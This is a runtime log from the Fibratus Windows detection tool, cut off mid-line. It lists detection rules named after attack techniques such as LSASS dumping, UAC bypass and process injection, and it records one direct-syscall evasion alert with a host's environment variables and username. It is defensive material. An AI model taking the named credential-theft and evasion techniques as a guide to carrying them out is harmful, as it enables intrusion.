C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T18:30:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T18:30:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T18:30:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T18:30:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T18:30:57+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T18:30:57+01:00 level=info msg=bootstrapping with pid 12872. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T18:30:57+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] mail=>[ use-template=>true port=>25 enabled=>false to=>[] content-type=>text/html] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-handles=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ enable-dns=>false enable-vamap=>true enable-handle=>false enable-thread=>true enable-audit-api=>true buffer-size=>512 enable-threadpool=>false enable-fileio=>true min-buffers=>16 enable-mem=>false max-buffers=>36 stack-enrichment=>true flush-interval=>1s enable-registry=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-image=>true enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 max-age=>0 max-backups=>15 formatter=>text log-stdout=>true level=>info] + output ......................... [ elasticsearch=>[ healthcheck=>true index-name=>fibratus template-name=>fibratus gzip-compression=>false flush-period=>1s timeout=>5s healthcheck-interval=>10s bulk-workers=>1 enabled=>false healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] sniff=>false trace-log=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] amqp=>[ passive=>false timeout=>5s exchange-type=>topic durable=>false routing-key=>fibratus exchange=>fibratus enabled=>false url=>amqp://localhost:5672 delivery-mode=>transient tls-insecure-skip-verify=>false vhost=>/] eventlog=>[ enabled=>false level=>info] http=>[ enable-gzip=>false serializer=>json endpoints=>[] timeout=>5s method=>POST enabled=>false tls-insecure-skip-verify=>false]] + pe ............................. [ read-symbols=>false read-resources=>false excluded-images=>[svchost.exe] enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true skip-mmaps=>false skip-files=>false scan-timeout=>10s skip-allocs=>false enabled=>false excluded-procs=>[] skip-registry=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-25T18:30:57+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T18:31:00+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T18:31:19+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 4435803 + Pid: 7008 + Tid: 20084 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 18:31:18.4746338 +0100 CET + Params: base_addressâžœ 7ffb9a440000, checksumâžœ 65938, default_addressâžœ 7ffb9a440000, file_pathâžœ C:\Windows\System32\LocationFrameworkPS.dll, image_sizeâžœ 53248, is_dllâžœ true, is_dotnetâžœ false, is_driverâžœ false, is_execâžœ false, pidâžœ 7008, signature_levelâžœ UNCHECKED, signature_typeâžœ NONE + Metadata: evasions: [direct_syscall] + + Pid: 7008 + Ppid: 4044 + Name: msedge.exe + Parent name: explorer.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:7008 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_7008_JTFIGPDFDHSINGMW EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1110 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ng+ciWeYNgyOU8mmJTuEKPJww4K7JAnAhy10yGTQQSE=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"EZD+RsC+C6sK5+pd5lEZo6R4DpX4Wy0iLze9Mcr8g18=" EFC_4044_1262719628:1 EFC_4044_1592913036:1 EFC_4044_2283032206:1 EFC_4044_2775293581:1 EFC_4044_3789132940:1 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff8037e342714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff8037e274909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff8037e348ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff8037e872258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff8037e871ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff8037e8690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff8037e8621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff8037e86179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff8037e6b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffb64d91014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffb64ba3640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffb64ba3a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffba3fc53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffba3fc4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffba3fc84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffba3fc701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffba4034294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffba3fd63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffba3fd6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffba3fffa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffba15fd29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffba3b17a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffba3b1759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffba3c9b8a2 C:\Windows\System32\combase.dll!Ordinal225|0x7ffba3c9cc5c C:\Windows\System32\combase.dll!Ordinal225|0x7ffba3c9cd65 C:\Windows\System32\combase.dll!Ordinal225|0x7ffba3c98fb6 C:\Windows\System32\combase.dll!CoGetInstanceFromIStorage|0x7ffba3c34304 C:\Windows\System32\combase.dll!CStdAsyncStubBuffer_QueryInterface|0x7ffba3b0b83b C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffba3b0b77c C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffba3b0a662 C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffba3b0a279 C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffba3bdff04 C:\Windows\System32\combase.dll!RoRegisterActivationFactories|0x7ffba3c7717e C:\Windows\System32\combase.dll!Ordinal130|0x7ffba3b377fb C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7ffba3b362ed C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7ffba3b88013 C:\Windows\System32\combase.dll!CoGetStandardMarshal|0x7ffba3c986ee C:\Windows\System32\combase.dll!CoGetInstanceFromIStorage|0x7ffba3c92d12 C:\Windows\System32\combase.dll!Ordinal146|0x7ffba3bdbb3b C:\Windows\System32\combase.dll!CoCreateInstanceEx|0x7ffba3bdb91b C:\Windows\System32\combase.dll!CoCreateInstance|0x7ffb9a1be4b3 C:\Windows\System32\Geolocation.dll!DllGetActivationFactory|0x7ffb9a1bd534 C:\Windows\System32\Geolocation.dll!DllGetActivationFactory|0x7ffb9a1bc73d C:\Windows\System32\Geolocation.dll!DllGetActivationFactory|0x7ffb9a1bc4b8 C:\Windows\System32\Geolocation.dll!DllGetActivationFactory|0x7ffba409847d C:\Windows\System32\ntdll.dll!TpAlpcUnregisterCompletionList|0x7ffba40363d9 C:\Windows\System32\ntdll.dll!RtlSetThreadSubProcessTag|0x7ffba37ee8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffba404c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-25T18:31:28+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T18:31:28+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T18:31:28+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T18:31:47+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T18:31:47+01:00 level=info msg=loading rule from 